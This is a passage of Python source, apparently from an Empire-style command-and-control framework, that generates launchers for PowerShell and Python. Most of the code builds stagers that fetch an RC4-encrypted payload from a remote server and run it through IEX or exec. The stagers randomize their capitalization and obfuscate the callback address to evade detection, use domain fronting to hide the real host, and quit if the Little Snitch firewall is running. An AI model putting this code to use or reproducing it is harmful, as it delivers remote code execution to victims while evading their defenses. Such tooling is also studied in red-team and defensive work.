bindIP) + ']' + ":" + str(port)
else:
host = 'http://' + '[' + str(
bindIP) + ']' + ":" + str(port)
# code to turn the key string into a byte array
stager += helpers.randomize_capitalization(
"$K=[System.Text.Encoding]::ASCII.GetBytes(")
stager += "'%s');" % (stagingKey)
# this is the minimized RC4 stager code from rc4.ps1
stager += helpers.randomize_capitalization(
'$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};'
)
# prebuild the request routing packet for the launcher
routingPacket = packets.build_routing_packet(
stagingKey,
sessionID='00000000',
language='POWERSHELL',
meta='STAGE0',
additional='None',
encData='')
b64RoutingPacket = base64.b64encode(routingPacket)
stager += "$ser=" + helpers.obfuscate_call_home_address(
host) + ";$t='" + stage0 + "';"
#Add custom headers if any
if customHeaders != []:
for header in customHeaders:
headerKey = header.split(':')[0]
headerValue = header.split(':')[1]
#If host header defined, assume domain fronting is in use and add a call to the base URL first
#this is a trick to keep the true host name from showing in the TLS SNI portion of the client hello
if headerKey.lower() == "host":
stager += helpers.randomize_capitalization(
"try{$ig=$" +
helpers.generate_random_script_var_name("wc") +
".DownloadData($ser)}catch{};")
stager += helpers.randomize_capitalization(
"$" +
helpers.generate_random_script_var_name("wc") +
".Headers.Add(")
stager += "\"%s\",\"%s\");" % (headerKey, headerValue)
# add the RC4 packet to a cookie
stager += helpers.randomize_capitalization(
"$" + helpers.generate_random_script_var_name("wc") +
".Headers.Add(")
stager += "\"Cookie\",\"session=%s\");" % (b64RoutingPacket)
stager += helpers.randomize_capitalization(
"$data=$" + helpers.generate_random_script_var_name("wc") +
".DownloadData($ser+$t);")
stager += helpers.randomize_capitalization(
"$iv=$data[0..3];$data=$data[4..$data.length];")
# decode everything and kick it over to IEX to kick off execution
stager += helpers.randomize_capitalization(
"-join[Char[]](& $R $data ($IV+$K))|IEX")
if obfuscate:
stager = helpers.obfuscate(
self.mainMenu.installPath,
stager,
obfuscationCommand=obfuscationCommand)
# base64 encode the stager and return it
if encode and ((not obfuscate) or
("launcher" not in obfuscationCommand.lower())):
return helpers.powershell_launcher(stager, launcher)
else:
# otherwise return the case-randomized stager
return stager
if language.startswith('py'):
# Python
launcherBase = 'import sys;'
if "https" in host:
# monkey patch ssl woohooo
launcherBase += "import ssl;\nif hasattr(ssl, '_create_unverified_context'):ssl._create_default_https_context = ssl._create_unverified_context;\n"
try:
if safeChecks.lower() == 'true':
launcherBase += "import re, subprocess;"
launcherBase += "cmd = \"ps -ef | grep Little\ Snitch | grep -v grep\"\n"
launcherBase += "ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n"
launcherBase += "out, err = ps.communicate()\n"
launcherBase += "if re.search(\"Little Snitch\", out):\n"
launcherBase += " sys.exit()\n"
except Exception as e:
p = "[!] Error setting LittleSnitch in stager: " + str(e)
print helpers.color(p, color='red')
if userAgent.lower() == 'default':
profile = listenerOptions['DefaultProfile']['Value']
userAgent = profile.split('|')[1]
launcherBase += "import urllib2;\n"
launcherBase += "UA='%s';" % (userAgent)
launcherBase += "server='%s';t='%s';" % (host, stage0)
# prebuild the request routing packet for the launcher
routingPacket = packets.build_routing_packet(
stagingKey,
sessionID='00000000',
language='PYTHON',
meta='STAGE0',
additional='None',
encData='')
b64RoutingPacket = base64.b64encode(routingPacket)
launcherBase += "req=urllib2.Request(server+t);\n"
# add the RC4 packet to a cookie
launcherBase += "req.add_header('User-Agent',UA);\n"
launcherBase += "req.add_header('Cookie',\"session=%s\");\n" % (
b64RoutingPacket)
# Add custom headers if any
if customHeaders != []:
for header in customHeaders:
headerKey = header.split(':')[0]
headerValue = header.split(':')[1]
#launcherBase += ",\"%s\":\"%s\"" % (headerKey, headerValue)
launcherBase += "req.add_header(\"%s\",\"%s\");\n" % (
headerKey, headerValue)
if proxy.lower() != "none":
if proxy.lower() == "default":
launcherBase += "proxy = urllib2.ProxyHandler();\n"
else:
proto = proxy.Split(':')[0]
launcherBase += "proxy = urllib2.ProxyHandler({'" + proto + "':'" + proxy + "'});\n"
if proxyCreds != "none":
if proxyCreds == "default":
launcherBase += "o = urllib2.build_opener(proxy);\n"
else:
launcherBase += "proxy_auth_handler = urllib2.ProxyBasicAuthHandler();\n"
username = proxyCreds.split(':')[0]
password = proxyCreds.split(':')[1]
launcherBase += "proxy_auth_handler.add_password(None,'" + proxy + "','" + username + "','" + password + "');\n"
launcherBase += "o = urllib2.build_opener(proxy, proxy_auth_handler);\n"
else:
launcherBase += "o = urllib2.build_opener(proxy);\n"
else:
launcherBase += "o = urllib2.build_opener();\n"
#install proxy and creds globally, so they can be used with urlopen.
launcherBase += "urllib2.install_opener(o);\n"
# download the stager and extract the IV
launcherBase += "a=urllib2.urlopen(req).read();\n"
launcherBase += "IV=a[0:4];"
launcherBase += "data=a[4:];"
launcherBase += "key=IV+'%s';" % (stagingKey)
# RC4 decryption
launcherBase += "S,j,out=range(256),0,[]\n"
launcherBase += "for i in range(256):\n"
launcherBase += " j=(j+S[i]+ord(key[i%len(key)]))%256\n"
launcherBase += " S[i],S[j]=S[j],S[i]\n"
launcherBase += "i=j=0\n"
launcherBase += "for char in data:\n"
launcherBase += " i=(i+1)%256\n"
launcherBase += " j=(j+S[i])%256\n"
launcherBase += " S[i],S[j]=S[j],S[i]\n"
launcherBase += " out.append(chr(ord(char)^S[(S[i]+S[j])%256]))\n"
launcherBase += "exec(''.join(out))"
if encode:
launchEncoded = base64.b64encode(launcherBase)
launcher = "echo \"import sys,base64,warnings;warnings.filterwarnings(\'ignore\');exec(base64.b64decode('%s'));\" | /usr/bin/python &" % (
launchEncoded)
return launcher
else:
return launcherBase
else:
print helpers.color(
"[!] listeners/template generate_launcher(): invalid language specification: only 'powershell' and 'python' are current supported for this module."
)
else:
print helpers.color(
"[!] listeners/template generate_launcher(): invalid listener name specification!"
)
